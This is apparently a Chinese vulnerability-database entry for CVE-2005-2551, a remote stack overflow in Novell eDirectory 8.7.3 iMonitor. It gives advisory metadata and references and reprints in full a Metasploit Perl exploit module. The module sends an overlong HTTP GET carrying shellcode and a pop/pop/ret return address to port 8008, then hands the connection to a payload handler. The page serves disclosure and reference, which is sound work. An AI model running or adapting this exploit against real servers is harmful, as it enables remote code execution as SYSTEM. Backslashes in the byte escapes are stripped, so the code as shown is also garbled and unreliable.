Novell eDirectory 缓冲区溢出漏洞

Novell eDirectory 缓冲区溢出漏洞

漏洞ID 1108994 漏洞类型 缓冲区溢出
发布时间 2005-08-12 更新时间 2005-10-20
图片[1]-Novell eDirectory 缓冲区溢出漏洞-安全小百科CVE编号 CVE-2005-2551
图片[2]-Novell eDirectory 缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200508-116
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1152
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-116
|漏洞详情
NovelleDirectory是一个的跨平台的目录服务器。NovelleDirectoryServer处理用户请求时存在缓冲区溢出漏洞,攻击者可以利用这个漏洞在受影响服务器上以本地系统权限执行任意代码。
|漏洞EXP
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::edirectory_imonitor;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'    => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow',
	'Version' => '$Revision: 1.2 $',
	'Authors' => [ 'anonymous' ],
	  
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
	'Priv'  => 1,

	'AutoOpts'  =>  { 'EXITFUNC' => 'thread' },

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 8008 ],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Payload' =>
	  {
		'Space'     => 0x1036,
		'BadChars'  => "x00x3ax26x3fx25x23x20x0ax0dx2fx2bx0bx5c&=+?:;-,/#.\$%",
		'Keys' 	    => ['+ws2ord'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
		This module exploits a stack overflow in eDirectory 8.7.3 iMonitor
	service. This vulnerability was discovered by Peter Winter-Smith of 
	NGSSoftware.

}),

	'Refs'  =>
	  [
	  	['OSVDB', '18703'],
		['CVE',   '2005-2551'],
		['BID',   '14548'],
	  ],

	'Targets' =>
	  [
		[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', 0x63501f15] # pop/pop/ret
	  ],

	'Keys'  => ['imonitor'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self        = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ( $s->IsError ) {
		$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
		return;
	}

	# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
	my $req = $shellcode . "x90x90xebx04" . pack('V', $target->[1]) . "xe9xbdxefxffxff" . ("B" x 0xD0);
	my $request =
	  "GET /nds/$req HTTP/1.1rn".
	  "Accept: */*rn".
	  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)rn".
	  "Host: $target_host:$target_portrn".
	  "Connection: Closern".
	  "rn";

	$s->Send($request);

	$self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
	select(undef, undef, undef, 4);

	$self->Handler($s);
	return;
}

1;

# milw0rm.com [2005-08-12]
|参考资料

来源:US-CERT
名称:VU#213165
链接:http://www.kb.cert.org/vuls/id/213165
来源:support.novell.com
链接:http://support.novell.com/cgi-bin/search/searchtid.cgi?/2972038.htm
来源:support.novell.com
链接:http://support.novell.com/cgi-bin/search/searchtid.cgi?/10098568.htm
来源:BID
名称:14548
链接:http://www.securityfocus.com/bid/14548
来源:SECTRACK
名称:1014661
链接:http://securitytracker.com/id?1014661
来源:SECUNIA
名称:16393
链接:http://secunia.com/advisories/16393

相关推荐: BitDefender Antivirus & Antispam for Linux and FreeBSD Mail Servers Scan Evasion Vulnerability

BitDefender Antivirus & Antispam for Linux and FreeBSD Mail Servers Scan Evasion Vulnerability 漏洞ID 1096303 漏洞类型 Design Error …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享